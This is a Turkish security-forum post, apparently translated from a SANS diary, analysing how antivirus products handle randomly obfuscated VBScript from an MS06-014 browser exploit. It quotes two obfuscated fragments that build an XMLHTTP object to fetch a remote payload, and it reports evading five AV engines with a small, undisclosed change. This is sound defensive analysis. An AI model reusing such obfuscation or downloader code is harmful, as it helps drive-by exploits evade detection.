Anti Virüs Endüstrisi ve VBScript/JavaScript tespiti

PC güvenliği konusundaki bilgi paylaşım alanıdır.
Cevapla
Kullanıcı avatarı
velociraptor
Yottabyte4
Yottabyte4
Mesajlar: 54796
Kayıt: 14 Mar 2006, 02:33
cinsiyet: Erkek
Teşekkür etti: 21022 kez
Teşekkür edildi: 12471 kez

Anti Virüs Endüstrisi ve VBScript/JavaScript tespiti

Mesaj gönderen velociraptor »

Son zamanlardaki browser exploit'lerinde dikkat çeken seylerden biri gizlemek için fazla ugrasılmıs olması. Bunun sebebi tabiki AV veya IDS'lerin tespitinden kurtulmak.

Anti Virüs endüstrisi gizlenen exploit'leri tespit için gelistirmeler yapınca, saldırganlar da kendisini her seferinde degisik sekilde gizleyen exploit'ler yaratmaya yöneldi. Bu konuyu daha önce dinamik Javascript gizleme konusunda anlatmıstım - bir istemci exploit içeren web sayfasında her istek yapısında, sunucu tarafındaki PHP script'i rastgele degisken isimleri seçiyordu, ve bu sayede meshur arguments.callee() metodunu kullanan fonksiyon gövdesi her seferinde degisiyordu.

Bu sefer de dinamik VBScript gizleme ile karsılastım. Exploit çok da ilgi çekici degildi (eski MS06-014 IE MDAC uzaktan kod çalıstırma exploit'i) fakat sunucu tarafında VBScript kodunu yaratan kod gerçekten ilgi çekici idi.

Sunucu tarafındaki script basitçe iki sey yapıyor:
* Tüm degisken isimlerini rastgele degistirme
* string'leri rastgele olarak bölerek daha ufak string'lerin birlesimi haline getirme

Bu tip gizlemenin sonuçlarını asagıda görebilirsiniz:
rub="Mic"+"r"+"o"+"s"+"oft"
jleptfo="XML"+"H"+"TTP"
set ugdd = CreateObject(rub & "." & jleptfo)
gljxbkx = "G" & "E" & "T"
dsoswt = ugdd.Open(gljxbkx,nmqqa,0)
ugdd.Send()
On Error Resume Next
lpuvkay = ugdd.responseBody

--

lwyfqe="Mi"+"cr"+"osof"+"t"
pnqf="XM"+"L"+"H"+"TTP"
set jbg = CreateObject(lwyfqe & "." & pnqf)
qcr = "G" & "E" & "T"
rjtp = jbg.Open(qcr,osjypz,0)
jbg.Send()
On Error Resume Next
gwwtvo = jbg.responseBody

--

Bu dikkatimi çekti ve biraz detaylı inceleyip AV programlarının bu basit gizleme karsısında ne yaptıgını görmek istedim.

İlk olarak, bu tip exploit'leri tespit etmek daha ilk çaglarını yasıyor. VirusTotal'daki 32 AV programından sadece 5 tanesi bu dosyayı kötü amaçlı olarak tespit edebildi (ve bu 5 tanenin bazısı ortak tarama motoru kullandıgı için sayı normalde daha da az!).

AV üreticilerinin hakkını vermek gerekirse, VBScript ve JavaScript gizlenmis exploit'leri tespit etmek çok kolay bir islem degil. Basit tespit için imza tanımlarına dayanıyorlar ve çok sayıda gizleme metodu var. Bu sebeple, string bölme gibi islemleri tespitiçin bir çesit yorumlayıcıya (veya optimize ediciye) ihtiyaçları var. İlgimi çeken seylerden biri de buydu ve küçük bir test yaptım.

Aynı script'in 100 örnegini (direk olarak etkilenmis olan sunuculardan) aldım ve hepsinin fonksiyonunun aynı olduguna fakat farklı degisken isimleri ve string gizleme kullandıgına emin oldum. Ve sonuç menun edici bir sürprizdi - 5 programın hepsi de 99 örnegi tespit etti (sadece 1 tanesi aynı tarama motorunu kullanan iki ürün tarafından tespit edilemedi).

Bu teste göre AV üreticileri iyi yorumlayıcılara sahipler. Maalesef memnuniyet fazla uzun sürmedi. 5 dakika sonra AV programlarının signature'larının (bu test ettigim script dısında) pek de güvenilir olmadıgı ortaya çıktı. Exploit'te küçük bir degisiklik ile, exploit fonksiyonu aynı kalmasına ragmen, 5 AV programını da atlatmıs oldum.

Görünüse göre bu kedi-fare oyunu bir süre daha devam edecek. Umarım AV üreticileri tespit yöntemlerini gelistirme üzerine çalısıyorlardır.

Kaynak: http://isc.sans.org/diary.html?storyid=3439&rss
Cevapla